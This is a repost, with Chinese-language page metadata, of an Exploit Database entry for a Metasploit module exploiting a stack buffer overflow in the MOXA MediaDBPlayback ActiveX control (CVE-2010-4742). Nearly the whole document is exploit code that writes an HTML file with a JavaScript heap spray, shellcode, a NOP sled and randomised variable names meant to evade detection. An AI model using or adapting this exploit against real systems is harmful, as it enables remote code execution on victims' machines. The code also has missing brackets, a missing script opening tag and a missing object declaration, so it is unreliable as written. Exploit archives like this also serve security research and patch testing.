MOXA MediaDBPlayback – ActiveX Control Buffer Overflow (Metasploit)

Exploit Database
114 阅读

作者： Metasploit

日期： 2010-11-05
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16685/

100

101

102

103

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'MOXA MediaDBPlayback ActiveX Control Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in MOXA_ActiveX_SDK. When

sending an overly long string to the PlayFileName() of MediaDBPlayback.DLL (2.2.0.5)

an attacker may be able to execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' => [ 'MC' ],

'References' =>

[

[ 'CVE', '2010-4742' ],

[ 'OSVDB', '68986'],

[ 'URL', 'http://www.moxa.com' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'DisablePayloadHandler' => 'true',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00",

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0a0a0a0a } ]

'DisclosureDate' => 'Oct 19 2010',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ false, 'The file name.','msf.html']),

], self.class)

end

def exploit

# Encode the shellcode.

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Create some nops.

nops= Rex::Text.to_unescape(make_nops(4))

# Set the return.

ret = Rex::Text.uri_encode([target.ret].pack('L'))

# Randomize the javascript variable names.

vname= rand_text_alpha(rand(100) + 1)

var_i= rand_text_alpha(rand(30)+ 2)

rand1= rand_text_alpha(rand(100) + 1)

rand2= rand_text_alpha(rand(100) + 1)

rand3= rand_text_alpha(rand(100) + 1)

rand4= rand_text_alpha(rand(100) + 1)

rand5= rand_text_alpha(rand(100) + 1)

rand6= rand_text_alpha(rand(100) + 1)

rand7= rand_text_alpha(rand(100) + 1)

rand8= rand_text_alpha(rand(100) + 1)

content = %Q|

<html>

var #{rand1} = unescape('#{shellcode}');

var #{rand2} = unescape('#{nops}');

var #{rand3} = 20;

var #{rand4} = #{rand3} + #{rand1}.length;

while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};

var #{rand5} = #{rand2}.substring(0,#{rand4});

var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});

while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};

var #{rand7} = new Array();

for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }

var #{rand8} = "";

for (#{var_i} = 0; #{var_i} < 14500; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }

#{vname}.PlayFileName = #{rand8};

</script>

</html>

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(content)

end